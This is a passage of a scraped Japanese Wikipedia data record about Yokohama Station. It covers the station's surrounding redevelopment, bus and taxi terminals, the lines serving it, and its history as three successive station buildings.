"text": "みなとみらい21地区では2000年代以降も、東口地区と人道橋(ペデストリアンデッキ)のはまみらいウォークで接続する日産自動車グローバル本社(2009年4月)が竣工。ポートサイド地区では、歩道橋の栄町グリーンウォーク(2001年竣工)・ベイクォーターウォーク(横浜駅ポートサイド人道橋、2009年12月供用開始)や、ヨコハマポートサイドビル(1994年竣工)・そごうパーキング館(2005年11月30日竣工)・横浜ベイクォーター(2006年8月24日開業)・横浜イーストスクエアビル(2008年3月)・横浜ダイヤビルディング(2009年12月竣工)などが建設され、横浜駅東口周辺の再開発は継続している。",
"title": "駅周辺"
},
{
"paragraph_id": 110,
"tag": "p",
"text": "西口の駅ビルであった横浜ステーションビルに入居していた「横浜CIAL(旧称:シァル)」は、西口再開発計画により2011年(平成23年)3月27日をもって全館閉店した。閉館後、同じく再開発事業地に所在し「横浜CIAL」に隣接していた横浜エクセルホテル東急は2012年(平成24年)、横浜ステーションビル(横浜CIAL)は2013年(平成25年)に解体された。",
"title": "駅周辺"
},
{
"paragraph_id": 111,
"tag": "p",
"text": "横浜エクセルホテル東急跡地では、開発が本格化するまでの空きスペースを利用して、2013年から期間限定の屋台村・仮設飲食店などが営業されていた。CIAL跡地でも商業施設の着工が遅れていたため2014年2月から2015年5月まで、空きスペースを利用して商業・飲食店舗などが入る「西口ルミネ」を期間限定でオープンしていた。",
"title": "駅周辺"
},
{
"paragraph_id": 112,
"tag": "p",
"text": "横浜市による横浜駅周辺再開発事業「エキサイトよこはま22」の中心的プロジェクトとして、これらの跡地を一体的に再開発して新たな横浜駅西口駅ビル「JR横浜タワー」を建設し、2020年(令和2年)6月18日に開業。核テナントの一つとして「CIAL横浜」が入居し、横浜駅西口駅ビルに「CIAL」の名称が復活した。",
"title": "駅周辺"
},
{
"paragraph_id": 113,
"tag": "p",
"text": "JR横浜タワーの竣工により、相鉄ビル(横浜ベイシェラトン ホテル&タワーズ)を抜いて、西口で最も高いビルとなった。なお相鉄ビル竣工以前は、天理教の関連企業東京天理教館が所有するオフィスビル「横浜天理教館」(天理ビル)が長らく西口で最も高いビルであった。",
"title": "駅周辺"
},
{
"paragraph_id": 114,
"tag": "p",
"text": "西口・東口それぞれにバスターミナルが設けられ、付近の一大ターミナルとなっている。一般の路線バスのほか、深夜バスや高速バスも多数発着する。",
"title": "バス路線"
},
{
"paragraph_id": 115,
"tag": "p",
"text": "東口の高速バスの乗り場は、横浜新都市ビル(そごう横浜店)1階の横浜駅東口バスターミナル、隣接するスカイビル1階の横浜シティ・エア・ターミナル(YCAT)、さらにスカイビルの外周道路にあるバス停「横浜駅東口スカイビル(YCAT)前」の3箇所に分散しているため、高速バス利用者は混同しないよう注意を要する。",
"title": "バス路線"
},
{
"paragraph_id": 116,
"tag": "p",
"text": "かつては横浜駅きた西口鶴屋地区に相鉄高速バスセンターもあったが、相模鉄道の高速バス路線撤退に伴い2008年9月に廃止されている。",
"title": "バス路線"
},
{
"paragraph_id": 117,
"tag": "p",
"text": "西口は「横浜駅西口」バス停があり、横浜市営バス、神奈川中央交通(一部は神奈川中央交通東)、相鉄バスの3社局の路線バスが乗り入れている。バスのりばは3つに分散しており、西口駅舎前の地下街(旧称:ザ・ダイヤモンド)上に第1バスのりば(のりば番号:1から10番台)、横浜ベイシェラトン ホテル&タワーズの西側に第2バスのりば(のりば番号は20番台)、ヨドバシカメラ向かいの天理ビル前に第3バスのりば(のりば番号は30番台)がある。",
"title": "バス路線"
},
{
"paragraph_id": 118,
"tag": "p",
"text": "第1バスのりばは地下街からの階段、エレベーターとしか繋がっておらず、利用する際は地下街から入る。",
"title": "バス路線"
},
{
"paragraph_id": 119,
"tag": "p",
"text": "第3バスのりばは、第2バスのりばが2017年7月24日から貸し切りバス専用乗降場に変更されたため、その代替として同日より運用を開始した。",
"title": "バス路線"
},
{
"paragraph_id": 120,
"tag": "p",
"text": "西口の駅舎前にある。",
"title": "バス路線"
},
{
"paragraph_id": 121,
"tag": "p",
"text": "横浜ベイシェラトン ホテル&タワーズの西側にある。",
"title": "バス路線"
},
{
"paragraph_id": 122,
"tag": "p",
"text": "ヨドバシカメラと横浜ベイシェラトン ホテル&タワーズの間の、天理ビル前にある。",
"title": "バス路線"
},
{
"paragraph_id": 123,
"tag": "p",
"text": "横浜駅東口(現 横浜駅東口駅前広場)から、1974年12月8日にスカイプールの前(現在の東口バスターミナルの国道1号側)に移転。1981年11月に、現在地である横浜新都市ビル1階の横浜駅東口第二広場に移転。横浜新都市ビル(そごう)1階に横浜駅前(横浜駅・横浜駅東口)ターミナルがあり、主に沿岸部へ向かう路線が発着する。A島の南隣(横浜スカイビル1階)には、空港リムジンバス・高速バス専用のYCATのりばが設置されている。定期観光バス「ベイサイドライン」はこのターミナルを発着していた。",
"title": "バス路線"
},
{
"paragraph_id": 124,
"tag": "p",
"text": "のりば入口は、地下1階および2階からA〜Cそれぞれの島につながる階段がある他、1階からはそごうの南エレベータとA島、店内からC島に入れる。地上の一般歩道から直接入るのは不可。ターミナル内で平面移動できる通路も設置されていない。",
"title": "バス路線"
},
{
"paragraph_id": 125,
"tag": "p",
"text": "東口地下街ポルタ入口そばにある。",
"title": "バス路線"
},
{
"paragraph_id": 126,
"tag": "p",
"text": "西口・東口およびYCATから各地への高速バスが発着する。",
"title": "バス路線"
},
{
"paragraph_id": 127,
"tag": "p",
"text": "スカイビル1階に所在する。",
"title": "バス路線"
},
{
"paragraph_id": 128,
"tag": "p",
"text": "横浜新都市ビル(そごう横浜店)1階に所在する。",
"title": "バス路線"
},
{
"paragraph_id": 129,
"tag": "p",
"text": "スカイビルの外周道路に所在する(北緯35度27分50.8秒 東経139度37分29.8秒 / 北緯35.464111度 東経139.624944度 / 35.464111; 139.624944 (横浜駅東口スカイビル(YCAT)前 バス停留所))。待機場所が狭いため、YCATの真上(スカイビル2階の屋外)が集合場所に指定されていることが多いので、注意が必要。",
"title": "バス路線"
},
{
"paragraph_id": 130,
"tag": "p",
"text": "西口バスターミナル(横浜駅西口駅前広場)の、高島屋側に設置されている。",
"title": "タクシー乗り場"
},
{
"paragraph_id": 131,
"tag": "p",
"text": "正式名称は横浜駅東口駅前第2交通広場。横浜駅きた東口から横浜新都市ビルの間、国道1号線の地下にあるタクシー乗り場。 横浜市が設置・管理する交通広場であり、横浜新都市ビルの施設ではない。乗降場所は横浜ポルタ側にある。",
"title": "タクシー乗り場"
},
{
"paragraph_id": 132,
"tag": "p",
"text": "横浜駅周辺において、国際化や都市間競争への対応・環境問題・駅としての魅力向上・災害時の安全性確保などの課題を解消し、「国際都市の玄関口としてふさわしいまちづくり」を進めるための指針となる計画で、大規模ターミナル駅周辺の再生モデルとして、行政と民間が共有・協働して実現していくことを基本としている。開発プロジェクト名については2009年に一般公募され、2380件の名称案の中から「エキサイトよこはま22」に決まった。計画対象エリアの「横浜駅周辺地区」は、都心部の機能強化を目的として2014年度に策定された「横浜市都心臨海部再生マスタープラン」においてその対象となる都心臨海部五地区のうちの一つとなっている。",
"title": "エキサイトよこはま22(横浜駅周辺大改造計画)"
},
{
"paragraph_id": 133,
"tag": "p",
"text": "横浜駅周辺では西口(幸栄)地区、西口五番街地区、きた西口鶴屋地区、東口地区などが、「横浜都心・臨海地域」として特定都市再生緊急整備地域に指定されており、今後再開発を行う計画となっている。これらの地域において老朽化した建物を解体し、高層ビルなどによる横浜駅や駅周辺の一体再開発を目指す。当プロジェクトでは新たな枠組みとして再開発地区を5つのエリアに分けており、横浜駅を中心に西口周辺(五番街含む)および東口周辺の地区を合わせて「センターゾーン」とし、その周囲にある4つのエリアをそれぞれ「南幸地区」、「北幸地区」、「鶴屋町地区」、「平沼地区」としている。",
"title": "エキサイトよこはま22(横浜駅周辺大改造計画)"
},
{
"paragraph_id": 134,
"tag": "p",
"text": "建物の建て替えのみならず、現在は地下で結ばれている東口と西口方面を駅ホーム上空の2階部分で直線に結び(新たなペデストリアンデッキの整備)、駅前広場や待ち合わせ場所(ターミナルコア)の整備、中央通路と西口地下街(旧称:ザ・ダイヤモンド)の地下階層による接続(横浜駅西口改札跡地 にある、通称\"馬の背\"の解消)、駅周辺の遊歩道整備(東横線廃線跡〈横浜駅〜桜木町駅間〉の遊歩道整備を含む)、東口地区とみなとみらい地区の更なる接続強化(東口地区開発「ステーションオアシス」からのデッキレベルでの接続計画や出島地区における再開発を含む)、首都高速道路の壁面緑化、河川の有効活用や河川沿岸の整備(河川は治水対策をし、水上バスの運行やボードデッキを整備する)などを行い歩行者空間や交通の充実を図るというもので、横浜港開港150周年である2009年に計画がとりまとめられた。開発の期間を二期に分け、全体の完成は計画策定から20年後を目処にしている。",
"title": "エキサイトよこはま22(横浜駅周辺大改造計画)"
},
{
"paragraph_id": 135,
"tag": "p",
"text": "2010年1月に、「エキサイトよこはま22」の横浜市案による20年後の横浜駅周辺を表したイメージ映像が横浜市都市整備局のサイトなどで公開された。この映像は今後の計画検討の際などに利用される予定である。",
"title": "エキサイトよこはま22(横浜駅周辺大改造計画)"
},
{
"paragraph_id": 136,
"tag": "p",
"text": "横浜中央郵便局などがあるみなみ東口の一帯は、「ステーションオアシス地区」として再開発(横浜駅東口地区開発〈仮称〉、地下より地上部・デッキレベルまで移動できるターミナルコアの整備も含む)が計画されている。事業主体は日本郵政、JR東日本、京浜急行電鉄、横浜市の4者で、1996年に横浜駅東口地区開発(ステーションオアシス)推進協議会を設立している。また、この再開発に関連して高島二丁目地区方面ともデッキレベルでの接続が計画されている。なお、東口周辺の再開発が本格化するまでの暫定施設として、横浜中央郵便局別館(2015年3月まで集配業務を行っていた)の建物をリノベーション活用した、アカツキライブエンターテインメントによる複合型体験エンターテインメント施設「アソビル」が2019年3月に開業している。",
"title": "エキサイトよこはま22(横浜駅周辺大改造計画)"
},
{
"paragraph_id": 137,
"tag": "p",
"text": "一方、前述のようにみなとみらい地区との接続を強化するため、東口の帷子川沿岸部(出島地区)からみなとみらい大橋に接続する道路「栄本町線支線1号」の整備およびその周辺部に位置する「出島地区」(横浜駅東口臨海地区)における再開発も検討されている(「栄本町線#整備計画」も参照)。",
"title": "エキサイトよこはま22(横浜駅周辺大改造計画)"
},
{
"paragraph_id": 138,
"tag": "p",
"text": "当地区(きた西口周辺)では、前述の「横浜駅西口駅ビル計画」における鶴屋町棟の計画の他にも、鶴屋橋の架替事業(2010年度〜2017年度実施予定) や以下の再開発が計画されている。",
"title": "エキサイトよこはま22(横浜駅周辺大改造計画)"
},
{
"paragraph_id": 139,
"tag": "p",
"text": "この他に、横浜市営地下鉄のハマリンロード(地下1階通路)の階段や、みなとみらい線の改札内にもパブリックアートがある。",
"title": "モニュメント・パブリックアート"
}
]
| 横浜駅(よこはまえき)は、神奈川県横浜市西区にある、東日本旅客鉄道(JR東日本)・東急電鉄・横浜高速鉄道・京浜急行電鉄(京急)・相模鉄道(相鉄)・横浜市交通局(横浜市営地下鉄)の駅。 JR東日本と京急電鉄の駅は東口側の西区高島二丁目に、東急電鉄・横浜高速鉄道・相模鉄道・横浜市営地下鉄の駅は西口側の西区南幸一丁目にある。 | {{pp-move-vandalism|small=yes}}
{{otheruseslist|3代目の横浜駅|かつて同名を称した駅|桜木町駅|青森県[[横浜町]]にある駅|陸奥横浜駅}}
{{特殊文字|説明=[[Microsoftコードページ932]]([[はしご高]])}}
{{駅情報
|駅名 = 横浜駅
|よみがな = よこはま
|ローマ字 = Yokohama
|画像 = Yokohama-STA East-2023.jpg
|pxl = 300
|画像説明 = 駅全景(2023年5月 東口側)
|地図 = {{maplink2|frame=yes|zoom=15|frame-width=300|plain=yes|frame-align=center
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|coord3={{coord|35|27|58.7|N|139|37|23.6|E}}|marker-color3=00bfff|title3=京浜急行電鉄 横浜駅
|coord4={{coord|35|27|51.8|N|139|37|13.7|E}}|marker-color4=0c1e56|title4=相模鉄道 横浜駅
|coord5={{coord|35|27|55.3|N|139|37|12.4|E}}|marker-color5=0d6aad|title5=横浜市営地下鉄 横浜駅
|frame-latitude=35.4656|frame-longitude=139.6221}}
|所在地 = [[横浜市]][[西区 (横浜市)|西区]]
|所属事業者 = {{Plainlist|
* [[東日本旅客鉄道]](JR東日本・[[#JR東日本|駅詳細]])
* [[東急電鉄]]・[[横浜高速鉄道]]([[#東急電鉄・横浜高速鉄道|駅詳細]])
* [[京浜急行電鉄]]([[#京浜急行電鉄|駅詳細]])
* [[相模鉄道]]([[#相模鉄道|駅詳細]])
* [[横浜市交通局]]([[#横浜市営地下鉄|駅詳細]])}}
}}
{{座標一覧}}
'''横浜駅'''(よこはまえき)は、[[神奈川県]][[横浜市]][[西区 (横浜市)|西区]]にある、[[東日本旅客鉄道]](JR東日本)・[[東急電鉄]]・[[横浜高速鉄道]]・[[京浜急行電鉄]](京急)・[[相模鉄道]](相鉄)・[[横浜市交通局]]([[横浜市営地下鉄]])の[[鉄道駅|駅]]。
JR東日本と京急電鉄の駅は東口側の西区[[高島 (横浜市)|高島]]二丁目に、東急電鉄・横浜高速鉄道・相模鉄道・横浜市営地下鉄の駅は西口側の西区[[南幸]]一丁目にある。
== 概要 ==
[[File:Second Yokohama Station's Architectural remain 01.jpg|thumb|公開保存されている二代目横浜駅の基礎等遺構(西区高島)]]
横浜市の中心駅で、JR・私鉄・地下鉄の各線が集まる日本有数の[[ターミナル駅]]である。合計6社局が乗り入れており、1駅に乗り入れる鉄道事業者数が日本最多である。1日平均の乗降客数は約230万人(2019年度)で、年間乗降客数は約8億4100万人となる。この数字は[[新宿駅]]、[[渋谷駅]]、[[池袋駅]]、[[梅田地区の鉄道駅|大阪・梅田駅]]に次いで世界第5位である。
現在の横浜駅は三代目である<ref name="1994Kiho">{{Cite journal |和書|author=編集部|title=横浜の鉄道 : その歴史|date=1994-12-20|publisher=横浜市|journal=調査季報|volume=121|id={{NDLJP|10306151}}|pages=44-52|ref= }}</ref>。初代は[[1872年]]に[[新橋駅|新橋]] - 横浜間で日本初の鉄道(現在の[[東海道本線]])として開業し、二代目横浜駅の開業に伴い[[桜木町駅]]に改称された。二代目は[[国道1号]]高島町交差点付近にあったが、[[関東大震災]]で被災したため廃止された<ref name="1994Kiho" />。現在も戸部警察署高島交番そばのマンション敷地内に駅舎[[基礎]]部分の[[遺構]]が残されており、[[横浜市認定歴史的建造物]]となっている<ref>[http://hazukimap.sakura.ne.jp/guide/14k/yokohama/nishi/14103K003.htm 二代目横浜駅基礎等遺構](郷土文化財コレクション〔関東の文化財建造物と史跡〕)</ref><ref>[http://www.u-sol.co.jp/hstYdsp/summary/entry.php?id=1&kd=4 第二代横浜駅](横浜 近代遺跡地図情報)</ref><ref name="hamarepo110421">{{Cite news |url=http://hamarepo.com/story.php?story_id=168 |title=初代横浜駅はどこにあった? |publisher=[[はまれぽ.com]] |date=2011-04-21 |accessdate=2018-01-27}}</ref>。
当駅周辺は巨大な[[百貨店]]や[[ファッションビル]]、専門店街などの商業施設、飲食店などが集積しており、首都圏有数規模の[[繁華街]]が広がっている。横浜港開港以来の[[中心市街地]]である[[中区 (横浜市)|中区]]の[[関内]]・関外([[伊勢佐木町]]周辺)地区をも超える地区になっており、このことから関内・関外地区とともに横浜市のツインコアとして横浜都心に指定されている。
当駅は構内や駅周辺で次々と大きな工事が行われて、実質[[1915年]]の開業以来未だにすべての工事計画が完全に終了していないと言われており、「日本の[[サグラダ・ファミリア]]」と揶揄されている<ref group="新聞">{{Cite_news|author=|title=いつ終着? 横浜駅工事|newspaper=朝日新聞|publisher=朝日新聞東京本社|page=21 地域面 湘南版|date=2015-11-24|url=http://www.asahi.com/area/kanagawa/articles/MTW20151124150150001.html| accessdate=2015-11-24|archivedate=|archiveurl= }}</ref><ref group="新聞">{{Cite_news|author=藤亮平|title=かながわ駅めぐり 横浜駅(横浜市西区) 工事は続くよ どこまでも|newspaper=読売新聞|publisher=株式会社読売新聞東京本社|page=31 地域面 横浜版|date=2010-11-21|accessdate=2010-11-24|url=http://www.yomiuri.co.jp/e-japan/kanagawa/feature/yokohama1280766292480_02/news/20101205-OYT8T00186.htm|archiveurl=https://web.archive.org/web/20140109044702/https://www.yomiuri.co.jp/e-japan/kanagawa/feature/yokohama1280766292480_02/news/20101205-OYT8T00186.htm|archivedate=2014-01-09}}</ref><ref>{{Cite_journal|和書|author=サンケイリビング新聞社|coauthors=横浜市市民局広報課|year=2010|month=7|title=ハマのギモン?聞いてみた! 横浜駅って、いつまで工事しているの?|journal=ハマジン|issue=17|pages=29 |publisher=サンケイリビング新聞社横浜本部|location=神奈川|url=http://living.terc.jp/paratto2/bookdata/pageviewer.php?book=19&page=1|accessdate=2010-11-24}}</ref>。現在は駅ビルおよび駅周辺の大規模[[都市再開発|再開発]]事業が[[2011年]]から進行している。詳細は「[[#エキサイトよこはま22(横浜駅周辺大改造計画)]]」を参照。
[[2008年]]4月から、当駅に乗り入れる4社と横浜市や市民団体が俯瞰図・構内図・広域図・断面図に[[点字]]を施した「横浜駅さわる地図バリアフリーマップ」を配布している<ref group="新聞">{{Cite news |url=http://www.hamakei.com/headline/3109/ |title=「横浜駅バリアフリーマップ」配布へ-点字で駅の構造表示 |publisher=ヨコハマ経済新聞 |date=2008-03-31 |accessdate=2015-06-11}}</ref>。点字のないPR版もある。
JR横浜駅の事務管コードは▲460114である。
=== 乗り入れ路線 ===
[[File:Yokohama station platform position.png|thumb|280px|各社局の駅の位置関係]]
以下の6社局が乗り入れている。各社局の駅に[[駅ナンバリング|駅番号]]が付されており、あわせて記す<ref group="相鉄">{{Cite press release|和書|url=https://www.sotetsu.co.jp/news_release/pdf/140225_01.pdf |format=PDF |title=相鉄線全駅で「駅ナンバリング」を導入します |publisher=相模鉄道 |date=2014-02-25 |accessdate=2015-06-11}}</ref>。
* 東日本旅客鉄道:線路名称上の乗り入れ路線は[[東海道本線]]と[[根岸線]]であり、東海道本線を所属線としている(乗り入れ運転系統については[[#JR東日本の乗り入れ運転系統|後述]])
* 東急電鉄:[[File:Tokyu TY line symbol.svg|15px|TY]] [[東急東横線|東横線]] - 駅番号「'''TY21'''」
* 横浜高速鉄道:[[File:Number prefix Minatomirai.svg|15px|MM]] [[横浜高速鉄道みなとみらい線|みなとみらい線]] - 駅番号「'''MM01'''」
* 京浜急行電鉄:[[File:Number prefix Keikyū.svg|15px|KK]] [[京急本線|本線]] - 駅番号「'''KK37'''」
* 相模鉄道 : [[File:Sotetsu line symbol.svg|15px|SO]] [[相鉄本線|本線]] - 駅番号「'''SO01'''」
* 横浜市交通局:[[File:Yokohama Municipal Subway Blue Line symbol.svg|15px|B]] [[横浜市営地下鉄ブルーライン]] - 駅番号「'''B20'''」
上記のうち、JR根岸線・相鉄本線・横浜高速鉄道みなとみらい線は当駅を起点とし、逆に東急東横線は当駅を終点としているが、東急東横線と横浜高速鉄道みなとみらい線は[[直通運転]]を行っており、2社が同じ施設に発着している(駅は東急側の管理)。また、東急・横浜高速鉄道は[[東京メトロ副都心線]]を介して[[東武鉄道]]・[[西武鉄道]]との5社による相互直通運転を実施している。さらに2023年3月18日より、[[東急新横浜線]]と[[相鉄新横浜線]]が相互直通運転を開始した関係で、相鉄側の横浜駅に発着する東急の車両による運用も一部で設定され、東急の車両は2ヶ所の横浜駅に入線することとなった<ref>[https://www.tetsudo.com/column/438/ 相鉄と東急が3月18日改正後のダイヤを発表 東急車の相鉄横浜駅入線も] - [[朝日インタラクティブ]]「[[鉄道コム]]」 2023年2月19日発信、同年同月21日閲覧。</ref><ref group="注">自社側の横浜駅とは異なり、相鉄側の横浜駅では、定期列車では自社側の駅に基本的に入線しない[[東急目黒線]]の車両も入線する。</ref>。他にも、京急は[[都営地下鉄浅草線]]を介して[[京成電鉄]]、[[北総鉄道]](一部時間帯のみ)へ直通運転を実施しており、都営地下鉄浅草線の車両や、平日に限り京成の車両もごく少数のみ京急側の横浜駅に入線している。
=== JR東日本の乗り入れ運転系統 ===
JR東日本の駅に乗り入れている路線は、線路名称上は、当駅の[[日本の鉄道駅#所属線|所属線]]である東海道本線および当駅を起点に[[根岸駅 (神奈川県)|根岸駅]]を経て[[大船駅]]とを結ぶ根岸線の2路線であるが、一般列車の運転系統は以下のように多岐にわたっている(詳細は路線記事および「[[鉄道路線の名称]]」参照)<ref name="jikokuhyou">『JR時刻表』2010年8月号(交通新聞社刊)</ref>。当駅は「{{駅番号|#000000|white|YHM}}」のスリーレターコードが付与されている。
* [[File:JR JT line symbol.svg|15px|JT]] '''[[東海道線 (JR東日本)|東海道線]]''':東海道本線大船駅以西の[[藤沢駅]]・[[小田原駅]]方面に直通する[[中距離電車]]([[湘南電車]])。当駅以北の東京方面は京浜東北線に対して、当駅以南の大船駅までは横須賀線に対して速達列車としての役割を果たしている。[[東京駅]]を発着する系統と、東京駅・[[上野駅]]経由で[[宇都宮線]]・高崎線に直通する[[上野東京ライン]]が運行されている。 - [[駅ナンバリング#JR東日本・東京モノレール・東京臨海高速鉄道|駅番号]]「'''JT 05'''」
* [[File:JR JO line symbol.svg|15px|JO]] '''[[横須賀・総武快速線|横須賀線]]''':東海道本線([[品鶴線]]経由)を経て、大船駅より線路名称上の[[横須賀線]]を走る。当駅以南の大船駅までは東海道線列車に対して各駅に停車する。上りは多くの列車が東京駅を経由し、総武快速線へ直通する。 - 駅番号「'''JO 13'''」
* [[File:JR JS line symbol.svg|15px|JS]] '''[[湘南新宿ライン]]''':東海道本線(品鶴線経由)を経て、戸塚駅から[[西大井駅]]まで横須賀線と同一の線路を使用し、新宿駅経由で東海道線と[[高崎線]]間、横須賀線と[[宇都宮線]]間をそれぞれ直通する。 - 駅番号「'''JS 13'''」
* [[File:JR JK line symbol.svg|15px|JK]] '''[[京浜東北線]]・[[根岸線]]''':東海道本線[[川崎駅]]・東京駅方面と横浜駅・根岸線方面とを結ぶ近距離電車で、当駅を経由する全列車が両線で直通運転を行っている。 - 駅番号「'''JK 12'''」
* [[File:JR JH line symbol.svg|15px|JH]] '''[[横浜線]]''':横浜線の起点は東海道本線[[東神奈川駅]]であるが、日中の多くの列車と朝夕の一部の列車が当駅を経由して根岸線に乗り入れる。駅番号は京浜東北線・根岸線と同じ「'''JK 12'''」
東海道本線の線路は、当駅以西の大船駅方面が東海道線用[[電車線・列車線|列車線]]と横須賀線用線路(旧[[貨物線]])との複々線、当駅以東の東京都心方面はこれらに加えて根岸線に直通している[[電車線・列車線|電車線]](京浜東北線)を加えた3複線となっており、京浜東北線と横浜線が電車線、東海道線が列車線、横須賀線と湘南新宿ラインが横須賀線用線路を使用する。電車線(京浜東北線)と東海道線列車線は川崎駅経由の本線、横須賀線用線路は[[武蔵小杉駅]]経由の支線([[品鶴線]])を経由する。
JRの主な優等列車としては、東海道本線経由で[[伊東線]]・[[伊豆急行線]]などに直通する特急[[踊り子 (列車)|「踊り子」「サフィール踊り子」]](基本的に東京駅発着であるが、前者は1往復が新宿駅方面から湘南新宿ラインと同じルートで運転される)、横須賀線のルートから[[総武本線]]・[[成田線]]を通じて[[成田空港駅|成田空港]]へ向かう特急「[[成田エクスプレス]]」、さらに[[夜行列車]]として東海道本線経由で山陰・四国方面へ向かう寝台特急「[[サンライズ瀬戸]]」「[[サンライズ出雲]]」などがあり、基本的に全ての列車が停車する。しかし、東京都心 - 湘南地区間の通勤客を[[混雑度|遠近分離]]する観点から、朝夕[[ラッシュ時]]に運行される通勤特急[[湘南 (列車)|「湘南」]](一部は[[東海道貨物線]]経由で運転されるため当駅を経由しない)は[[ダイヤグラム|通過]]する<ref name="jikokuhyou" />。
JRの[[特定都区市内]]制度における「[[横浜市]]内」の駅であり、運賃計算の中心駅となる<ref name="jikokuhyou" />。
== 歴史 ==
[[File:Yokohama Station.1963.jpg|thumb|横浜駅周辺の白黒空中写真(1963年6月撮影){{国土航空写真}}]]
{|{{Railway line header|width:20em}}
{{BS-header|横浜駅付近変遷(官鉄→JRのみ示す)}}
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|幅=210px
|1 = Yokohama port railway 1906.png
|2 = 1906年頃(初代横浜駅)
|3 = Yokohama port railway 1912.png
|4 = 1912年頃
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|6 = 1916年頃(2代目横浜駅)
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|8 = 1924年頃
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|10 = 1929年頃(3代目横浜駅)
|11 = Yokohama port railway 1935.png
|12 = 1935年頃
}}
{{Main2|西口・東口の歴史|#横浜駅周辺開発の歴史}}
現在の横浜駅付近は[[幕末]]まで[[海]]であり、[[明治維新]]直後に[[高島嘉右衛門]]らが[[埋め立て]]事業を行い、[[鉄道]]が敷設された。海はその後も現在の西口近くに「平沼」として残った。
=== 年表 ===
==== 初代 ====
* [[1872年]]([[明治]]5年)[[6月12日]]([[5月7日 (旧暦)]] ):[[品川駅]]からの鉄道路線が仮開通し、'''横浜駅'''(現[[桜木町駅]])が開業<ref name="1994Kiho"/>。品川駅とともに[[日本]]で最初に開業した[[鉄道駅]]。駅舎の設計は、[[アメリカ人]]建築家のR・P・ブリジェンスで、[[新橋停車場]]と同じデザインだった<ref>[http://www.ejcs.co.jp/library/tenji/cil_tenji.html 横浜駅の物語「初代横浜駅データ」] 建設産業図書館</ref>。
* [[1887年]](明治20年)[[7月11日]]:横浜駅 - [[国府津駅]]間が開通<ref name="1994Kiho"/>。[[新橋駅]]方面と国府津駅方面を直通する列車は当駅で進行方向を反転([[スイッチバック]])していた<ref name="1994Kiho"/>。
* [[1898年]](明治31年)[[8月1日]]:東海道本線のスイッチバック解消のために当駅を経由しない短絡直通線が開通<ref name="1994Kiho"/>。当駅以西への直行優等列車は、横浜駅の代わりに上りは程ヶ谷駅(現[[保土ケ谷駅]])、下りは[[神奈川駅 (国鉄)|神奈川駅]]に停車し、当駅 - 程ヶ谷駅を連絡する列車が設定されていた。
* [[1901年]](明治34年)[[10月10日]]:短絡線上に[[平沼駅 (国鉄)|平沼駅]]を設置<ref name="1994Kiho"/>。横浜の利便を図ることを目的としており、優等列車は神奈川駅と程ヶ谷駅に代わってこの平沼駅に停車した。
* [[1914年]]([[大正]]3年)[[12月20日]]:京浜間での電車運転開始に伴い、高島町駅が仮ホームで開業<ref name="1994Kiho"/>。横浜側の仮終着駅であった。
==== 2代目 ====
* [[1915年]](大正4年)[[8月15日]]:東海道本線の当駅通過を避けるため、現在の地下鉄[[高島町駅]]付近に'''横浜駅'''(2代目)が開業<ref name="1994Kiho"/>。旧横浜駅を桜木町駅に改称<ref name="1994Kiho"/>。短絡直通線および平沼駅廃止<ref name="1994Kiho"/>。高島町駅は横浜駅京浜線ホームとなる。
* [[1923年]](大正12年)
** [[9月1日]]:当駅の駅舎が[[関東大震災]]で倒壊<ref name="1994Kiho"/>。桜木町駅も焼失<ref name="1994Kiho"/><ref>[https://www.youtube.com/watch?v=8639afxCe88&t=67s 【9/1関東大震災】]【公式】日テレNEWS</ref>。
** [[9月7日]]:しばらくの間仮駅舎を設置して営業。この頃に平沼が完全に埋め立てられる。
* [[1928年]]([[昭和]]3年)
** [[5月18日]]:[[東京横浜電鉄]](現[[東急東横線]])が開通<ref name="1994Kiho"/>。
==== 3代目 ====
* 1928年(昭和3年)
** [[10月15日]]:'''横浜駅'''(3代目)として、当駅が現在地に移転<ref name="1994Kiho"/>。
*** 短縮して[[スタンダード・オイル|スタンダード石油]]・[[昭和シェル石油|ライジングサン石油]]の「石油[[専用鉄道|専用線]]」([[神奈川駅 (国鉄)|神奈川駅]] - 旧[[平沼駅_(国鉄)|平沼駅]]<ref>松信大助「昭和調査 番地入横浜市全図 訂正第48版」1928年5月、有隣堂本店</ref>)として使われていた短絡直通線を復活<ref>松信太郎「昭和実測 大横浜市全図 改正番地入」 1929年6月、有隣堂本店</ref>。東海道線を、2代目横浜駅跡地を経由せずに短絡直通線を通る現在のルートに変更した。神奈川駅を廃止<ref name="1994Kiho"/>。
*** この時、当駅は汽車線ホームのみが設置され、京浜線ホームは設置されていなかった。そのため、駅の東口に京浜線仮ホームを設置した。2代目横浜駅も当駅構内扱いの'''高島口乗降場'''として残された。
* [[1929年]](昭和4年)[[6月22日]]:[[京浜急行電鉄|京浜電気鉄道]](現[[京急本線]])京浜神奈川駅(現[[神奈川駅]]) - 当駅が仮開通。
* [[1930年]](昭和5年)
** [[1月26日]]:京浜線の当駅 - 桜木町駅の経路変更、横浜駅に京浜線ホームを設置。高島口乗降場閉鎖<ref>[{{NDLDC|2957383/6}} 「鉄道省告示第12号」『官報』1930年1月21日](国立国会図書館デジタルコレクション)</ref><ref group="注">なお、2代目横浜駅は、現在も[[高島町交差点]]前のマンション敷地内に遺構の一部が残っている。</ref>。
** [[2月5日]]:京浜電気鉄道が本開通<ref name="1994Kiho" />。
* [[1933年]](昭和8年)[[12月27日]]:[[相模鉄道#歴史|神中鉄道]](現[[相鉄本線]])が横浜駅まで延伸<ref name="1994Kiho"/>。現在の西口は砂利置き場だった。
* [[1945年]](昭和20年)[[5月29日]]:[[横浜大空襲]]により駅設備の大半が焼失。
* [[1948年]](昭和23年):西口に木造の駅舎が完成<ref>社史編集委員会編『20年のあゆみ』 横浜ステーションビル、1981年、18ページ</ref>。
* [[1956年]](昭和31年)4月2日:西口に相模鉄道横浜駅の新駅舎が完成<ref>相鉄不動産七年史編纂員『相鉄不動産七年史』 相鉄不動産、1962年、15ページ</ref>。
* [[1957年]](昭和32年)
** [[1月16日]]:相模鉄道の横浜駅 - 西横浜駅を複線化<ref>相鉄不動産七年史編纂員『相鉄不動産七年史』 相鉄不動産、1962年、年表4ページ</ref>。
** [[12月9日]]:北側の自由地下通路が供用を開始。
* [[1959年]](昭和34年)[[7月16日]]:[[横浜市営トロリーバス]]が当駅西口に乗り入れ<ref name="1994Kiho"/>。
* [[1962年]](昭和37年)[[11月23日]]:東急東横線ホームが島式1面2線から変則相対式2面2線に変更。
* [[1965年]](昭和40年)[[10月1日]]:[[みどりの窓口]]開設。
* [[1967年]](昭和42年):東急東横線ホームが変則相対式から相対式に変更。
